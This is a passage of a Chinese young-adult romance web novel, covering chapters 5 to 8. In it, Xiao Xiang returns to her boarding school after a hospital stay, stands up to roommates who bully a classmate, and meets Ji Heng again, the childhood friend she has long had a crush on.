听到熟悉的声音叫自己的名字，计衡应声止步。回头一看，是在学校后勤部工作多年的孟飞飞老师。
计衡是长雅初中部的直升生，长得好看成绩又好，教职工们差不多都认识他。
“真是你啊！”孟老师笑容和煦，“明天要军训，大半夜的你怎么跑这里来了？”
“我……我来看同学。”计衡解释。
“噢？”孟老师眨了眨眼皮子，“噢！看完早点回学校，这个点都关校门了。我把张叔（门卫）电话给你，到时候你给他打个电话，让他给你开下门。”
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孟老师说着，打开手机翻找通讯录。
“好的。谢谢！”计衡微笑配合，尽管他并不需要。
存下号码，计衡原本打算离开，可不知怎的，突然生出一种不可言喻的感觉，使得他的腿脚不想挪动。他不自觉地扫了一眼孟老师身后的CT室，随口一问：“孟老师，您这是？”
“哦！我是来陪护的。特优班有个女同学在校门口晕倒了，是你们徐老师发现的。”
“人还好吧？”计衡礼貌式关心。
“不好！可严重了。医生说她是在水里泡过、在地上摔过，手指和脚趾不知道在哪里磨过。啧啧，都磨得见肉了，也不知道孩子究竟经历了什么。”
咋一听，计衡除了同情没有别的感觉。可当孟老师说完后，他心一惊，莫名联想到那个救他的女孩。
脑子忽然蹦出一个不可思议的猜想：不会是她吧？
也不是没有可能！
少年的心跳骤然加速。
看计衡盯着CT室的门发呆，孟老师有点犯懵。不待她多想，CT室的门开了，她立即迎上去。
萧湘被护士推了出来。
计衡想要上前瞧下那昏睡的少女，却被他爸爸的呼唤声叫住。
“儿子，那个女孩有消息了。”
计衡二次落水前请爸爸帮他找那个救他的女孩，计皓钦当下便让人去掉道路监控。这会儿有消息了，自然是真实的消息。计衡激动不已，立即就要跟爸爸过去。
转身的瞬间，刚好与担架车上的少女擦肩而过。不知怎的，他竟忍不住回眸，然而担架车已经推走，只看到担架车的轮廓。
猜想毕竟是猜想，还是事实要紧。计衡舒了口气，跟着爸爸走了。
同一时刻，萧湘缓缓睁开了眼睛。
她感觉自己像是在空中漂浮，身子在外力的作用下不停移动。
这是哪里？我怎么会在这里？
萧湘转了转眼珠子，不停追溯。
“同学，你终于醒了！”
见萧湘醒来，孟老师开心至极，她第一反应便是赶紧告诉徐老师。她一边发消息，一边随着担架车一同去主治医师的办公室。
经过大大小小的检查，医生告知萧湘是劳累过度所致，需要卧床静养几天，待恢复正常再办出院。
明明已经醒来了，可身体却没有一丝力气，就连她想要去上厕所都没办法起身，只能依靠别人辅助。这是萧湘承受了懂事以来最大的“屈辱”，她不断地给自己心理暗示：起来，起来，快点起来！
此情此景，似曾相识。
萧湘在脑子里搜索了半天，终于想起来了，这种境遇她在网文《拭伤诀》里见过。
女主伊晨净被九曲回痕剑中伤后昏睡了整整半年，醒来后彷如新生，所有的一切都需要别人照顾。她不甘“屈辱”，不断给自己心理暗示，最终身体神奇地恢复。
心理暗示、自我鼓励……萧湘不断地试图唤醒自己的身体。
终于，第二天就恢复了短暂的如厕能力，就连医生都佩服她的意志力。不过即便如此，医生还是建议她留院观察几天，并且一周内不要做剧烈运动。
萧湘谨遵医嘱，故而完美错过军训。
当她回到学校回到宿舍，一切都乱了。
5. 室友
“什么东西呀，这么臭。”
“不知道。好像是从萧湘那里传出来的。”
“她什么情况？报到来得比谁都早，结果军训都没有参加。”
“谁知道呢！赶紧的，把那摊脏臭东西扔出去。这天气太热了，很容易引来蚊子苍蝇和小强。”
“不好吧？毕竟是别人私人物品，我们怎么好乱动。”
“都影响到宿舍的生态了，已经不是私人物品那么简单了，该扔就得扔。”
“就是就是，扔了吧。”
“谁来？”
“抽签。”
……
室友们你一句我一句，五个人有四个赞同，只有一个叫舒蝶的女生反对。
然而，反对无效，少数服从多数。
就这样，萧湘放在桌面上还未来得及跟她们分享的家乡美食，被抽签抽到执行任务的女生黄落霞从大包里拧了出来，扔到了宿舍楼下的有害垃圾桶里。
“扔了。好像还是好臭。”黄落霞捂着鼻子看萧湘的位置。
“把那一大包也扔了吧，沾上了那个臭味不扔掉臭分子会继续扩散，同样会污染整个寝室。
“我同意。”
“我同意。”
“我也同意。”
舒蝶：“我弃权。”
四票通过，一票弃权，最终不仅是那袋油炸鱼，连着整个大包都被扔了。
开学第一天，萧湘的东西就被那室友们一顿“收拾”。可笑的是，此时此刻的她还在医院的病床上做着和她们共享美食友好相处的美梦。
养了一周，终于可以出院啦！
萧湘第一时间给爸爸打了个电话报平安，而后自行结算办理了出院。
当她到学校的时候正好在进行军训汇演开幕，领导发言和学生代表宣誓阶段。考虑穿着便服于清一色的迷彩浪潮中太过眨眼，萧湘打算回宿舍换身衣服再下来凑热闹。
来到自己的小空间，萧湘第一反应是怀疑自己走错了宿舍，可床铺横杆上的贴字赫然显示着“萧湘”两个字，让她不得不认清事实。
长雅中学的宿舍是统一的六人间，分左右两排，一排三个位置。每个位置又分上下两个区，上区是床铺，下区是书桌和衣柜。每个铺位上都有一个标签栏，贴纸上标注班级和姓名。
确定是自己的位置，萧湘原地震怒。因为，她的地盘已经变得面目全非了——
一大包吃的不见了也就罢了，她的床单被揉成一团塞进了衣柜里、书桌格子间的书本被取下来全部锁进了书桌的抽屉、衣柜里的衣服被挤得歪歪皱皱……
欺人太甚！
“谁干的？”萧湘对着空气怒问。
回应她的也只有从门窗外飘进来的风。
气也气了，还是得先收拾。
萧湘把自己的东西重新整理了一番，好在除了那包吃的外其他的都在。
算了，那里面大多是爸家里做的熟食，这个天气被扔也说得过去，就是有点辜负爸爸和奶奶的心意。
萧湘一边整理，一边自我调节。
当她的气快要消得差不多的时候，她发现《奋斗笔记》不见了。
天塌了，那可是她的命啊！
经过反复回忆，她确定有把它带过来，可怎么会不在呢？
难道……萧湘的怒火瞬间又冒了出来。
她停下所有动作，深吸一口气，轻轻狂拍心脏位置，试图让它先冷静冷静。
待情绪稳定下来后，萧湘再次翻箱倒柜地找。
终于，在放课外书的收纳箱里找到淹埋其中的《奋斗笔记》。
萧湘惊住。
收纳箱是爸爸帮她提的，装的都是名著，爸爸也喜欢看这些书，出发之前他还检查过的。
所以……《奋斗笔记》爸爸是看过了？
怕是八九不离十吧！萧湘仰头闭目。
回想起今天爸爸送她来学校的时候一路都是怪怪的，当时她虽然有所感知却不知道究竟哪里怪怪的，眼下她明白了，是因为爸爸看了里面的内容。
里面藏着的可是她的青春啊！
情窦初开，书写的全都相思和幻想。
难怪爸爸要她把心思都放在学习上，原来是怕她一心只想着和别人再续前缘而耽误学业。
呵！好在爸爸顾忌她的颜面没有将事情说穿，保住了她的自尊，不然……
萧湘睁抓了抓耳边的发，心中五味陈杂。她睁开眼睛深吸一口气，提起笔将近来发生的事一一记进《奋斗笔记》。
落笔如意，希望顺顺利利开启新的学期。
整完记完，萧湘已然没有心思去别处，她趴在书桌上打起瞌睡。
不知睡了多久，被阵阵喧闹声吵醒。她按开手机看了一眼时间，已经十二点半。
她揉了揉眼睛，准备起身，却见走进来四个女生。
看到座位上的萧湘，她们先是互视一眼，而后纷纷笑脸相迎。
“你就是萧湘同学吧？”室友王雅琴轻声细语地问。
“嗯。”萧湘点头回应。
“萧湘同学，你终于回来了。”室友姜佩欣一副非常高兴的样子。
萧湘不太喜欢自来熟，但见她笑得那么甜，于是回了她一个亲切的笑脸。
室友吴梦汐：“你吃午饭了吗？没吃的话食堂还有饭，现在去还来得及。”
萧湘摇头，“还没有。”
“你办办卡了吗？没有的话先用我的吧！”室友黄落霞大方地掏出自己的学生卡。
萧湘连忙摆手，“不用不用，我已经办了，谢谢！”
见到室友如此热情、友善，萧湘的愤怒瞬间烟消云散。她想，她的铺位应该不是她们干的。不是她们，会是谁呢？
萧湘还未开口问，倒是有人先发了声。
黄落霞：“萧湘，你和舒蝶以前就认识吗？”
萧湘摇头，“不认识。怎么了？”
黄落霞没有及时回复萧湘，而是看向另外三个室友，她们四个人同时一副很为难的样子。
“啊！你们不认识啊？看她又是帮你收拾东西，又是帮你扔垃圾的，我还以为你们很熟呢！”黄落霞又说。
萧湘压着怒火，问：“我的东西是她收拾的？”
四个女生一同点头。
“不止呢，还有你的小秘密也被她翻出来了。”吴梦汐补充了一句。
小秘密？什么小秘密？萧湘用眼神问。
吴梦汐：“就你那个什么笔记，上面写着你来长雅是为了计衡。”
确实是小秘密，还是深藏心底多年的小秘密。如今被人像撕标签一样哗啦一下撕开，萧湘血脉偾张。
原来是她！
萧湘握紧拳头，狠狠劝自己冷静。姑姑说，出
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门在外要懂得控制自己的情绪，不能当着不熟的人面前随意表现出来。
见萧湘咬牙切齿，眼神愤怒地盯着舒蝶的位置，四个女生相互挤眉弄眼，露出得意的笑容。
自我安慰过后，为感谢她们告知真相，萧湘主动提出和她们交换联系方式互加好友。
室友们欣然同意，纷纷掏出手机。
看到清一色的新款水果机，萧湘沉默了。
她虽然来自贫困地区，但贫困是相对的，相对同市同级其他地区。在她的认知里，她的家乡也不算特别贫苦，至少吃得饱穿得暖还有点小钱钱。比起西部贫瘠地区，他们那里简直是人间天堂。
同为特优生，差别怎会这么大？
难道祖国的经济已经强大至此？
萧湘自认为还不算特别贫穷的家乡，和别的地方对比起来竟然是最穷的？
看着自己奢侈的价值三千人民币的华为手机，萧湘凌乱了。
“咦，你们的手机是同款耶！”萧湘笑呵呵地说。
“是啊，是啊，花了我爸小半个月工资呢！”吴梦汐摸着手机心疼地说。
她爸小半个月能挣一万多！萧湘一脸“崇拜”地看着吴梦汐。
黄落霞见状，轻轻碰了碰吴梦汐的手肘，吴梦汐意识到自己失言，她立马找补：“我爸那个月天天加班加点一天工作十八个小时。”
萧湘笑了笑，“你爸爸真伟大。”
“呵呵～”吴梦汐尴尬陪笑。
这时门口进来一个女生，打破了里面的尴尬气氛。
“她就是舒蝶。”黄落霞眼神示意萧湘。
见到萧湘和她们有说有笑的，舒蝶对着萧湘打量了一番。她什么也没说，默默地坐在座位上，掏出手机回消息。
被不明眼神盯，萧湘很不自在，加之方才其他室友共同指认，她径直走到舒蝶面前。
刚要质问，看到她的手机，萧湘一愣。不正是当初自己想要买的那款便宜机吗？垂眸，看她的鞋子，是那种既没有质量又没有长相的三无产品。
顷刻间，萧湘仿佛找到了真正的同类。
她下意识好声好气地问：“舒蝶同学，谢谢你帮我收拾东西。”
舒蝶一愣，她瞟了一眼另外四个女生，回道：“不用谢！是教官要求的。军训期间东西要整理干净。”
初一也曾军训过，这种通用的规则萧湘是知道的，她心下表示理解。可《奋斗笔记》终是被人偷看了，是可忍孰不可忍。
“教官应该没有要求偷看别人的隐私吧？”
舒蝶抬头看着萧湘，满眼无辜，“什么隐私？我不知道啊。”
萧湘尚未回应，黄落霞上前义愤填膺地说：“你不知道？你偷看了人家的日记还拿给我们看，做过的坏事还嘴硬不承认。”
“就是就是，做了还不承认。”另外三人齐声附和。
舒蝶没有反驳，只一个劲儿冲萧湘摇头。
“我们四个人都看到了，你还说你没有做。”
黄落霞冲过来就要扯舒蝶的头发，被萧湘出手阻止。
“有什么话好好说，不要动手。”萧湘沉声解释。
“萧湘，你别被她骗了，她就会装无辜。你是不知道，开学才短短一周，她和你心心念念的计衡走得有多近。”
计衡？
萧湘心下一颤，“你们认识计衡？”
6. 熟悉
“当然认识。星城中考状元、长雅新晋校草、本届军训第一红人计衡，谁不认识？”
真的假的？当初那个三岁才开始走路，六岁才开口说话的蠢萌男孩，充其量只是个有钱人家的傻儿子，怎么可能成为中考状元？
萧湘哧声一笑，解释道：“我写的计衡和你们认识的计衡并不是同一个人，只是同名字而已，你们误会啦！”
四人面面相觑，瞟了一眼舒蝶，没再做声，各自去换便服。
舒蝶没有动，一身迷彩服坐在座位上刷手机，时不时瞄一眼萧湘。
尽管多人指认，但萧湘并不厌恶舒蝶，反而对她有些好感。她的面相就是那种比较甜美的乖乖女，眼神也坚定，怎么看都不像是坏人。
罢了罢了。
散了散了。
既然事情已经发生了，那就让它过去，不能一直影响自己的心情。
趁着大家都还没有外出，萧湘当着所有室友说：“各位，我已经不再纠结是谁动了我的东西了，但是我不想这种事情再次发生，我希望大家都能够友好相处。”
众人听后都没有做声，萧湘当是默认。
这时，一直很少发表个人意见的姜佩欣走了过来，直视萧湘，“从今往后你跟她玩还是跟我们玩？”
萧湘惊笑，“一起玩啊！为什么要分帮别派呢？”
“没有为什么，你跟她就等于跟我们作对。如果你选择跟我们玩就不能跟她玩，就这么简单。”
姜佩欣言语非常霸道，此刻的她与先前那个友好的她判若两人。
萧湘不知道她们五个人之间究竟有什么恩怨，但她向来不畏强权，用同样的态度回复：“我这个人最不喜欢被威胁。”
“相反，我这个人最喜欢威胁别人。”姜佩欣猖狂道。
“那你可以试试。”萧湘冷冷地给她甩了一句，顺便送她一个杀气腾腾的眼神。
“……”姜佩欣语塞。
王雅琴上前拉姜佩欣，“出去嗨皮啦！”
姜佩欣适才骂骂咧咧地离开，一副小太妹做派。
此时此刻萧湘算是整明白了，这四个人根本就是一伙的，她们合起来孤立舒蝶。由此可见，动她东西的定是这四人无疑。
做坏事还心安理得地对被害人笑脸相迎，做了坏事还倒打一耙诬陷他人，同为九年义务教育，萧湘还是第一次见过这么新奇的物种。
她们凭本事提升了萧湘的见识，令她不禁感叹任校长英明一世毁于一举，招这样的人来长雅实乃大大的失策，她们根本配不上「特优」二字。
待她们走后，萧湘转身准备回自己的小地盘，却见舒蝶噗通一声趴在桌子上痛哭起来。
嗯？萧湘一脸懵逼。
“你哭什么？”
舒蝶没有回她，反倒是哭得更凶了。
同为女生，萧湘从小就被爸爸当男孩子养，不准她轻易地哭，使得她养成了有泪不轻弹的习惯。看到柔弱的女孩子哭，她难免也会安慰两句。
“我知道我的东西不是你动的了，对不起，我不应该质问你。”萧湘不知道她为什么哭，但至少要把自己那点愧疚感清除。
舒蝶听到她的话适才抬起头，她扯开迷彩服，露出“白里透红”的皮肤。
萧湘大惊，“这是……她们干的？”
舒蝶含着泪珠点头。
“岂有此理！这可是学校，还是异地他乡的学校，她们怎么敢？而且，而且咱们都是穷人家的孩子，她们凭什么？”
“穷人家的孩子！”舒蝶笑了。
萧湘蹙眉，“你笑什么？”
舒蝶没有正面回答，只摇了摇头，“我劝你还是跟她们玩吧，不然你肯定会后悔的。”
“不怕，我会武功。”萧湘骄傲地说。
“啊？”舒蝶不可置信地看着萧湘，“不跟你开玩笑，她们真的敢，不信你看。”舒蝶说着，又撸起裤脚。
看到上面青一块紫一块的，萧湘握紧拳头，“她们怎会如此无法无天，一点学生的样子都没有。”
舒蝶笑说：“可能整个特优班就只有我们两个是真正的穷孩子。说出来你可能不会相信，其实我也差点来不成这里，其实……”
“不要管那么多，至少你来了。”萧湘不想听那些，因为她也差点经历，她打断舒蝶的话，用玩笑的口吻跟她说：“不开玩笑，我从三岁就开始学中国功夫。只是我没有考级，不吹牛，真要考的话，我起码也是老虎段位。”
舒蝶虽然不懂功夫和段位，但听萧湘说得有板有眼看起来很厉害的样子，她像是找到了救命稻草，激动地挽住萧湘的小臂。
“真的吗？那太好了。”说着，她又开始流泪。
萧湘拍了拍她的肩膀，“别怕，以后本女侠罩着你。”
舒蝶破涕为笑，“好。”
躺了几天，萧湘感觉身子骨都快散了，她伸了个懒腰。
“下午去图书馆自习吗？”舒蝶问。
长雅高一多年常规：军训、入学考试，无缝衔接。
萧湘：“去。”
“一起？”
“好。”
“且等我先用个午膳。”
“哈哈，好。”
长雅中学有一个三层楼的图书馆，一楼是大堂加课外阅读室，二楼三楼是课内阅读室。
整个下午，萧湘和舒蝶都泡在三楼。就在她们准备再看半个小时就离开的时候，一个阳光帅气的身影从身边闪过。
男生轻悄悄避开他人耳目，偷偷递给舒蝶一瓶柠檬汽水。
舒蝶红着脸接过汽水。那瓶盖是拧过的，她只轻松一掀便开了。小酌一口，少女满眼都是幸福。
整个过程都是在萧湘的余光下进行的，除了那少年的脸，其他皆被萧湘看得清清楚楚。
好一帧动人的青春！
不禁令萧湘代入她和计衡，思此，萧湘的脸不知不觉泛起了绯红。
他会这样地来到自己身边吗？
萧湘不知道。
她坚信，总有一天他们会再见面。
偷偷摸摸的小动作既浪漫又刺激，舒蝶心虚瞅萧湘，看她有没有察觉。但见萧湘正在心无旁骛地看书，她扑通扑通跳动的心更加欢快。
过了一会儿，那男生又折了回来，坐在萧湘她们斜角的位置，和舒蝶错位背靠背。
萧湘和舒蝶是对面坐着的，故而少年的后部身姿被萧湘一览无余。非礼勿视，她努力不去看人家暗暗交接，奈何余光太调皮，总是忍不住去瞥。
这一瞥，便让她瞥见了男生脖子上挂着一根红色的绳。
那是……
像极了小计衡当年戴的护身符的红绳。
萧湘抬眼正视少年。
“怎么了？”舒蝶小声问。
萧湘立即将视线从对面的男孩
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身上撤退，她摇了摇头，微笑向她示意无事。继而掏出手机点开班级群的群公告，翻开电子版的校纪校规。
第三十九条：禁止学生佩戴饰物。
长雅是何等学校，明令禁止的事项他竟然敢，那么他……
“嘶～”萧湘忽然感觉小腹一阵刺痛。
哦豁，亲戚来了。
就是这几天的事，萧湘原本每个月都记得很清楚的，这次竟然给忘了。她完全没有准备，今天还穿着浅色裤子。
妈呀，这可如何是好？羞羞。
萧湘扫了一眼周遭，门口在她的身后较远的位置，不过好在那个方向没有什么人，跑出去应该不会被盯。
不管了，顾不得去看那个少年的正脸了。
冲！
萧湘轻轻敲了敲桌子，唤舒蝶抬头，她手指了指自己的肚子，做了一个女生们都懂的表情。舒蝶会意点头，她便嗖的一声冲了出去。
奔跑中，萧湘明显感觉下面有一股热流。
显然，后裤已经开出了鲜红的花。
妈妈呀，都走开呀！
萧湘一边百米冲刺，一边念着“咒语”，希望不要被人看到。
然而校园人多，怎么可能不碰到呢？
萧湘的脸胀得通红，她捂着砰砰砰的心脏位置千米冲刺。
“只要我不尴尬，尴尬的就是别人。”
默念着默念着，萧湘成功奔向寝室。
图书馆那边。
感觉到舒蝶同伴离开的动静，计衡转过身来，他无意瞅到那么鲜红，立刻垂下眸子。余光里，女孩奔跑的背影似曾相识。他猛然抬眸，却见女孩已经冲了出去。
见计衡的目光随着萧湘离去的方向，舒蝶若有所思，想起先前室友说的话，一个不妙的猜想涌上心头。她别过脸，问计衡：“你们认识？”
计衡摇头，“不认识。”
舒蝶轻舒一口气，“她是我室友，叫萧湘。因为一些特殊的原因，她没有参加军训。”
萧湘？计衡感觉这名字有点熟悉。但见舒蝶满脸疑惑地看着自己，他收回目光，直视舒蝶。
“想什么呢？”
“我在想你在想什么。”
“呵～”计衡轻哧，“走了。”
“哎……”
舒蝶刚要说什么，计衡已经起身走了。
从图书馆出来，计衡忽然想起军训第一天晚上在学校医务室又遇到孟老师，听她提起她在医院陪护的女生就叫萧湘。
“是她？”
计衡蓦然心惊。
如果是她，那舒蝶呢？
当时爸爸请去查监控的人说，那女孩好似刻意避开摄像头，从头到尾都没有拍到她的正脸，最终进了长雅，可是进校门后学校的监控就断了。依据学校对面的商场监控人脸识别系统标记，目标锁定到了特优班的舒蝶。
后来他找到舒蝶，几经交谈，得知那天她确实是从江边回来的。
救命之恩，必须回报。可计衡又不想太过张扬，怕她惹上非议给她带来不必要的麻烦，于是他只有私下偷偷对她好。
只是，和她走在一起，他完全没有当初那个惊鸿一瞥的感觉，更别提他们还曾有过唇齿相依……
计衡回眸看向图书馆，深吸一口气，打开手机，拨通市/委/书记杨淑华的号码。
“妈，周末我想去重新调下那天的监控。”
7. 重逢
长雅中学有个不成文的规定，高一年级的入学考试等同每个月月底的月考，其成绩不仅关联期末评奖评优，还是清北保送比选的重要参数。
奖学金、清北保送，这两个都是萧湘的梦寐以求。
萧湘向来不惧考试，反而喜欢考试，她贪恋每次拿到成绩单时老师欣赏同学羡慕的那种成就感。长雅的升学考试，她想当然地以为不是什么难事，放松心态即可。
正式开学第一天的晚自习只有一节，为的是让同学们先适应。下了晚自习后，萧湘没有和其他同学一样留下来继续复习，而是去了田径场漫步。
长雅的田径场位于学校版图长轴的西南角，矩形轮廓的两条边沿着学校围墙，半圈香樟矗立在围墙和田径场的中心线上，路灯夹杂在树与树之间将跑道照亮。
才挺过元气大伤，又适逢生理期，萧湘头一回体会走路的劳累。
她双手撑腰，放慢脚步行走。
快到围墙折角之时，她忽然眸光一闪，侧目看去，跑道后方衔接灯光篮球场的树丛处有个高高的少年正站在光下作画。
少年的画架虽是立在路灯的投射之中，然田径场的路灯功率并不高，没有明亮的光线他却执笔自如，像是长了一双能够穿透黑暗的眸子。
星空之下作画，无异于在朦胧之中摸瞎。萧湘着实看不懂这种心境，权当他是在装X，便只是轻轻一瞥而已，不以为意。
跑着跑着，离那少年越来越近。
不知何故，萧湘竟有股想要靠近他的冲动，就好像他身上有股魔力，能够吸引人去靠近他的魔力。
晚风飒飒，灯光浅浅。选在这种地方作画还是接近午夜的时候，不仅非常不合常理的，还令人产生不该有的冲动，让人生出某些恐怖的联想……
萧湘摸了摸手臂上的鸡皮疙瘩，打算跑完现在这圈就回宿舍。
就在即将经过少年身边的时候，他后方的LED球场灯突然被打开，强大的光线照亮了四分之的篮球场。
萧湘戛然止步。
因为，她好像看到了一张令她心心念念多年的脸，而脸的主人正是那作画的少年！
萧湘原地愣住，定睛去看。
下一秒，灯突然又熄灭了。
晕！
萧湘闭上眼睛让它稍作休息，而后重新看去。
此时少年正屈着手臂微微躬身临摹静谧的夜色，完全没有被强弱光线刺激过的痕迹，亦没有觉察到有人正盯着他看，仿佛周围的一切动静都与他无关。
优美的下颚线勾勒着少年逆天的侧颜，指骨分明的手在宣纸上有节奏地挥动。
少年自成一道风景，令萧湘情不自禁地靠近。
星光和灯光相互交映，挥洒在少年的身上，平添了几分青春的忧郁。
清冷的风迎面吹拂，灌入少年的鼻腔令他刺痒，迫使他不得不侧着脸别开画板打了一个喷嚏。
阿飘是不会打喷嚏的。瞬间，萧湘将想象吞进了肚子里。
同样是在那一瞬间，让她再次清楚地看到了少年的正脸。
那眉那眼，确实像极了她的心心念念，只是身形和身高与从前相差甚大。这个好理解，毕竟是在生长期，男大也是十八变嘛！
真的是他吗？
不可能吧，这里可是长雅，那个先天不足的小渣渣怎么可能考得进！
长雅学子虽然非富即贵，但从不招差生。定是认错人了，纯粹只是长得相像而已吧，毕竟两五年没见了，小孩子长相更新或者自己记忆偏差有很大的可能。
可是，真的好像耶！
带着满脑子猜疑，萧湘恨不得立马上前去问，可她又不想扰乱少年作画的闲情，于是抬起脚继续慢跑。
这个世上眉眼相像的人多得去了，萧湘并不能确定眼前的少年就是她认识的计衡，但她真的好想知道到底是不是。她深深记得计衡有个特别的标志，便是他从小就戴着一块紫色的玉，刚好眼前少年脖子上也有根绳子。
红绳子！
萧湘忽然想起今天下午在图书馆坐舒蝶背后的男生，他脖子上也戴了一根。后来她一心搞学习，忘了跟舒蝶打听。
长雅严令禁止学生佩戴饰物，他们仍然如此，定是有什么非戴不可的原因。
萧湘听妈妈说过计衡戴紫玉的原因，因为他小时候多灾多难发育迟缓，科学解释不了。于是他爸妈剑走偏锋，花重金给他请了一个大师，求赐了一个开光的护身玉，便是他身上戴的那个。他之所以敢戴，定是学校特许。
他、他还有他，莫非是同一个人？
不会这么巧吧？
是与不是，一看便知。
拗不过强烈的好奇心，已经跑开的萧湘猛地掉过头来回到少年身边。
她礼貌靠近，视线小心翼翼地追随他的脖子。可也只能看到半截绳子，其他部分被他藏进了衣服里遮得严严实实。
如何才能看到呢？萧湘突然有个大胆的想法——直接扑上去。
不不不！这太辱斯文了。
萧湘摇头否定。
就没有其他办法吗？萧湘原地寻思。
不知哪里飞来一个篮球，刚好砸中萧湘的腿脚。
“哎哟～”
萧湘一个跟头栽到少年背后，待他应声转身，她一只手本能地抓着他防止摔倒，另一只手借机敏捷地把人家藏在衣服里的饰物一把掏了出来。
是那玉！真的是他！
得逞后，萧湘不待被他掰开，她主动退后。既没有伤到他的人，也没有破坏他作画的工具。
退到光线暗淡的跑到上，看着光下的少年。
无数次幻想过重逢的场景，没想到竟相遇在这样的地方。
五年不见，那个曾经还没有她高的小跟班，如今已经高出她一个头还不止。他的眉眼没有多大改变，只增了几分成熟感，自是更加好看。
萧湘喜极！
顷刻间，竟然生出一种想哭的冲动。
她仰起头眨了眨眼睛，再次靠近。
“咚咚咚~”
萧湘好似听到了自己的心跳声。
她轻抚胸口，努力地让自己淡定，心脏却越抚越蹦得痴狂。
女大十八变，加上这几年自己瘦了好大一圈，他一时半会儿肯定认不出来的。
怎样能够瞬间唤醒他的记忆让他想起自己呢？萧湘思忖几秒，决定用小时候的交流方式。
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那时候他们经常一起聊电视剧，说不定他一下子就想起来了。
嗯，试试看！
萧湘蹦跳到少年的身边，骤然出现在他的眼前。
“嘿，小计子，还记得本宫吗？”
少年闻声抬眼，长睫微颤。
他记得，他一定记得，不然不会有这样细微的动作。萧湘心下激动地说。
下一秒，少年开口。
“您是从哪里穿越过来的小主？”
萧湘骤然心凉，“穿，穿越？你不记得我了？”
计衡拍了拍方才被她抓过的地方，“我们认识？”
萧湘的笑容彻底消失。
“不，不认识，当然不认识。我穿越来的，耶耶耶！886～”
说完，她180°转身。
果然，他没认出自己，而且方法也不管用，他并没有想起来。
萧湘涩涩一笑，目光不经意瞥到少年的画。
画中有三个元素，一是一道不知道是海是江还是河的水域，二是一辆共享电单车，三是一个正在奔向单车的少女。
婷婷少女，虽然只有一个背影却十分传神，尤其是她一头飘逸的长发，在奔跑里摇曳生姿……
暗夜之中竟能将一个背影画得这么传神，可见作画之人付出了多么深厚的感情。一时间，萧湘不知道自己心里是什么滋味，只觉得心有点刺痛，痛觉压制了她对那画中场景生出的熟悉感。
她面无表情地慢步跑开，一边跑脑海里不断地回放方才他看自己的眼神。
那是什么眼神？
是无语？
是陌生？
不，是此人多半有病！
没错，他那眼神就是在说：你是不是有什么毛病！
为什么会这样？明明不应该这样啊。
萧湘揉了揉眼睛，她越想越不甘心。
狂跑一圈后，她再次回到少年身边，站在他的面前。她不肯相信，还想要做最后一搏。
“计衡，你是不是叫计衡？”
少年轻轻放下画笔，抬眸直视面前的女生。
他在光下，她在暗处，她看不清她的五官，就连方才她呼吸捣乱，他的关注力全在紫玉上，并没有去看她的脸。
只是朦胧中，隐隐约约有种特殊的感觉，说不清，道不明。
见少年没有回应，萧湘掐着掌心补充：“木子李的李，南岳衡山的衡。”
少年颔首，“是。”
“……”
果然！
萧湘唇角抽了抽，皱出一道笑容，“不好意思，我认错人了。”
说完，萧湘拔腿就跑，生怕被人家看出自己的小心思。
计衡抬眸，只见少女疯狂奔跑的背影。
不知怎的，计衡竟望着那背影出神，脑海里不自觉浮现出下午在图书馆看到的那抹身影。
魔怔了么？怎么看到谁的背影都觉得似曾相识。
计衡用笔戳了戳头，眼神四处游走，目光最终落在画中的女孩身上。
背影。
同样是背影。
同样的背影！
计衡的心忽然一怔，再回神，视野内早已不见少女的身影。
8. 约饭
望着女孩离去的方向，计衡有些迷茫。
他发现自己对她有种特别的感觉，尽管他连她姓甚名谁都不知道。
那感觉来得莫名其妙，又只可意会不可描述。
回想方才女孩的问话，奇奇怪怪的，后来她好像还生气了。
搞不懂！
难不成以前真的认识？计衡敲了敲脑门。
在他的记忆里只对一个女孩子有过深刻的印象，那是五年前他在外婆亲戚家寄住的时候。女孩曾对他诸多照顾，只是他一直不知道人家的名字，他也不好意思去问，就一直让这段往事尘封在了心底。
会是当年那个小女孩吗？
计衡拿出手机准备打给他妈妈问一下那女孩叫什么名字，没想到妈妈先打过来了。
“儿子，你舅姥爷家隔壁家何奶奶的孙女考进了长雅特优班。你有空就过去跟她打打招呼，照顾一下人家小妹妹哈。”
妈妈的电话真是逢时！
“她叫什么名字？”计衡故作平静地问。
“萧湘，萧雨神的萧，湘江的江，别认错人了。”
竟然真是她！
计衡震惊的同时竟还生出一丝丝侥幸。
“好的，妈妈。”
挂了电话，计衡心中五味陈杂，思绪不禁飘到很久很久以前。
那年初见，樱花烂漫。
计衡随父母来到舅姥爷家赴宴。
舅姥爷家养了很多家禽，计衡第一次看到那么多自由自在的可爱小宠物，他开心得不得了，追着鸡鸡鸭鸭满院子疯跑。
他不知道，他的笑声吵得正在庭前樱花树下背诵古诗的邻家女孩没办法静心。
女孩放下书本，怒气冲冲地朝他走过来，一把揪住他的领口。
当他感觉她的拳头就要落下的时候，她突然脸色一变，和颜悦色地同他说话。
“你叫什么名字呀？今年几岁读几年级？有没有女朋友？”
被眼前彪悍的女孩问懵，计衡急忙向一旁正在喂狗的表哥求助。
面对村头霸主，表哥翻着白眼开溜。
计衡无奈，只好乖乖回复：“我叫计衡，今年十岁读四年级，没有女朋友。”
“从今天开始，我就是你女朋友。”
回忆至此，计衡忍俊不禁。
这时来了几个抱着篮球的校友，同时球场四个角的照明灯齐齐亮起。
计衡他收住思绪，抱起画架回寝室。
——
萧湘一路狂奔到寝室，她速速地完成洗刷刷，然后趴在床上翻看她自己专门记载计衡的《奋斗笔记》。
本子由一沓16K的漂亮艺术纸组成，将近百页。因为过去一直都是周更的，所以到现在也才写了一半。每一篇都是记录的她对他的思念，每一篇都是她对他们未来的幻想。
这在过去大概算得上浪漫，如今看来就像笑话一样。
萧湘眨了眨有些干涩的眼睛，伸手拿出枕头下的笔继续往下记。
从前每篇都是紧挨着写的，这一回她故意空了一页，并在空的那一页上画了一把大大的叉。她打算在叉叉的反面写一段狠话，可提起笔却突然不知道该写啥。
不应该啊！她抚着心口究了究，咦，好像并不觉得痛耶！
不对不对。她将手往下挪，移到肝的位置。
呃，这里有股气，生气的气！
啊！这……
萧湘猛地垂下手，一边疯狂地眨着眼睛，一边轻快地拍打胸脯，适才觉知原来自己并不伤心，只是生气而已。气计衡不记得自己，气自己整整五年单相思。
“呵呵……”萧湘气着气着不禁笑了。
此时的她竟感到一丝庆幸，庆幸懵懂无知已成为过去。如今这般其实也不错，算是跟过去做了一个诀别，从此以后他们便以校友的身份重新认识。
【谁的青春没有遗憾？只是我的青春它来得早了一点。或者说，真正属于我的青春才刚刚开始。未来的事没有必要预知，就让一切随缘吧。】
